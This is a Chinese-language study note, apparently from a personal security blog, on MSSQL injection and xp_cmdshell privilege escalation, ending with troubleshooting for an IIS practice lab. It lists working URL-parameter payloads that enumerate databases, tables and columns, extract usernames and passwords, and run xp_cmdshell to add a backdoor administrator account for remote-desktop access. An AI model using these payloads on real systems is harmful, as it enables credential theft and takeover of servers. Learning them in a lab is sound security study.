🗒️mssql注入和xp_cmdshell提权
2023-12-18
| 2023-12-19
字数 1130阅读时长 3 分钟
type
status
date
slug
summary
tags
category
icon
password

一、基础语句部分

三个权限
  1. sa最高权限
  1. db相当于user-administrator
  1. public(数据库操作权限,相当于guest-users)、
自带系统表:sysobjects,其中需要用到的三个字段
  • NAME:表名信息
  • XTYPE:表的类型,S代表系统自带表,U代表用户创建的表
  • ID:id字段的值用来连接syscolumns表

常用的函数

当前数据库版本 @@version 当前数据库名称 db_name() 查询当前用户 user 查询数据库权限 IS_SRVROLEMEMBER() 常用权限:sysadmin、serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin
select IS_SRVROLEMEMBER('sysadmin');如果返回1则证明有相应权限

增删改查

  1. 查找用户创建的表和它的id select * from sysobjects where XTYPE="U";
  1. 根据表的id字段 select * from syscolumns where id=2073058421;
  1. 查值 select username from table;
  1. 插入,修改,删除数据,与mysql一样
  1. 注释符跟mysql一样--为单行注释,/**/为多行注释

二、手注部分

  • 判断是否是mssql数据库 ?id=1 and (select count(*) from sysobjects)>0
  • 判断权限(srvrolemember)
    • .aspx?id=1 and 1=(select IS_SRVROLEMEMBER('sysadmin'));—
  • 查看数据库版本,当前数据库名
    • .aspx?id=db_name() ?id=1 and 1=(select @@version) ?id=@@version ?id=1 and 1=(select db_name())

数据库名称获取

  • 获取第一个用户数据库的名称
    • ?id=1 and 1=(select top 1 name from master..sysdatabases where dbid>4)
      解释:
      top 1 是一个SQL查询的子句,它用于查询结果只显示首条记录。
      master..sysdatabases :在mssql系统默认数据库master系统视图
      dbid>4mssqldbid来区分数据库名!前面4id号是默认mssql数据库自带的:
      notion image
  • 获取第二个用户数据库名称(第一个数据库名为test)
    • .aspx?id=1 and 1=(select top 1 name from master..sysdatabases where dbid>4 and name !='test')
      或者
      .aspx?id=1 and 1=(select top 1 name from master..sysdatabases where dbid>5)
  • 第三个就以此类推。and name !=test and name !=test1或者dbid>6
  • 获取所有数据库的名字
    • .aspx?id=1 and 1=(select name from master..sysdatabases for xml path)
      for xml path的意思就是将查询结果集以XML形式展现!

获取表名

  • 获取当前网站数据库的第一个表
    • .aspx?id=1 and 1=(select top 1 name from sysobjects where xtype='u')
  • 类比上面的方法获取第二个表
    • .aspx?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name !='users')
  • 爆出所有表名
    • .aspx?id=1 and 1=(select name from sysobjects for xml path)

获取列名

  • 第一列
    • .aspx?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='users'))
  • 第二列
    • .aspx?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='users') and name !='id')
  • 第三列
    • .aspx?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='users') and name !='id' and name !='username')

获取数据

  • 获取账号 username 的值
    • .aspx?id=1 and 1=(select top 1 username from users)
      .aspx?id=1 and 1=(select top 1 password from users)
  • 获取第二个账号的密码
    • .aspx?id=1 and 1=(select top 1 username from users where id=2)
      .aspx?id=1 and 1=(select top 1 password from users where id=2)

三、xp_cmdshell提权

前提:
  1. 网站权限sa即sysadmin
  1. xp_cmdshell存在(SQL中运行系统命令行的系统存储过程,它存在就可以执行系统命令)
 
  • 判断xp_cmdshell是否存在:
    • .aspx?id=1 and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')
      页面返回正常,说明xp_cmdshell开启了的!
      xp_cmdshell默认在mssql_2000中是开启的,在mssql_2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它。
  • 添加账户
    • .aspx?id=1 ;exec master..xp_cmdshell "net user saul saul123 /add"
  • saul 用户添加到管理员组:
    • .aspx?id=1 ;exec master..xp_cmdshell "net localgroup administrators saul /add"
  • 此时如果目标是外网那么我们就可以用此帐密登录到它的远程桌面

靶场学习

部分环境踩坑

电脑上IIS需要安装的模块:https://www.cnblogs.com/Can-daydayup/p/15340302.html
 
问题:IIS HTTP 错误 404.3 - Not Found 由于扩展配置问题而无法提供您请求的页面。如果该页面是脚本,请添加处理程序。如果应下载文件,请添加 MIME 映射。(这个也可能是上面模块未安装全的问题)
 
问题:HTTP 错误 500.24 - Internal Server Error 检测到在集成的托管管道模式下不适用的 ASP.NET 设置。
notion image
 
环境解决后:按照这个配置一便(我是看着这个一个个配完后,会遇到上面的错误)
 
此时,进入页面有新报错
notion image
解决办法放在下图中,
notion image
notion image
notion image
解决了,网页又出现新报错
notion image
win10版本太高,不兼容,这个问题无法解决。之后换win2008再说
  • 其他安全
  • java系列漏洞再回顾DC系列
    Loading...